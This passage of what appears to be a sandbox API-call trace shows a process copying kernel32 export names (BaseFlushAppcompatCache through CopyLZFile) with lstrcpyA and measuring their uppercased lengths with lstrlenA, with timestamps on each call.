returned="BaseFlushAppcompatCache" [0138.858] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0138.858] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0138.858] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0138.858] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0138.858] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0138.858] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0138.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0138.859] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0138.859] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0138.859] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0138.859] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0138.859] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0138.859] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0138.859] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0138.859] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0138.859] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0138.859] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0138.859] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0138.859] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0138.859] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0138.859] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0138.859] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0138.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0138.859] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0138.860] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0138.860] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0138.860] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0138.860] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0138.860] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0138.860] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0138.860] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0138.860] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0138.860] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0138.860] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0138.860] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0138.860] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0138.860] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0138.860] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0138.860] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0138.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0138.860] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0138.861] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0138.861] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0138.861] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0138.861] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0138.861] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0138.861] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0138.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0138.862] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0138.862] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0138.862] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0138.862] lstrlenA (lpString="BEEP") returned 4 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0138.862] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0138.862] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0138.862] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0138.862] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0138.862] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0138.862] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0138.862] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0138.862] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0138.862] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0138.862] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0138.862] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0138.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0138.862] lstrlenA (lpString="CANCELIO") returned 8 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0138.863] lstrlenA (lpString="CANCELIOEX") returned 10 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0138.863] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0138.863] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0138.863] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0138.863] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0138.863] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0138.863] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0138.863] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0138.863] lstrlenA (lpString="CHECKELEVATION") returned 14 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0138.863] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0138.863] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0138.863] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0138.863] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0138.863] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0138.863] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0138.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0138.863] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0138.864] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0138.864] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0138.864] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0138.864] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0138.864] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0138.864] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0138.864] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0138.864] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0138.864] lstrlenA (lpString="CLOSESTATE") returned 10 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0138.864] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0138.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0138.864] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0138.865] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0138.865] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0138.865] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0138.865] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0138.865] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0138.865] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0138.865] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0138.865] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0138.865] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0138.865] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0138.865] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0138.865] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0138.865] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0138.865] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0138.865] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0138.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0138.865] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0138.866] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0138.866] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0138.866] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0138.866] lstrlenA (lpString="COPYCONTEXT") returned 11 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0138.866] lstrlenA (lpString="COPYFILE2") returned 9 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0138.866] lstrlenA (lpString="COPYFILEA") returned 9 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0138.866] lstrlenA (lpString="COPYFILEEXA") returned 11 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0138.866] lstrlenA (lpString="COPYFILEEXW") returned 11 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0138.866] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0138.866] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0138.866] lstrlenA (lpString="COPYFILEW") returned 9 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0138.866] lstrlenA (lpString="COPYLZFILE") returned 10 [0138.866] lstrcpyA (in: 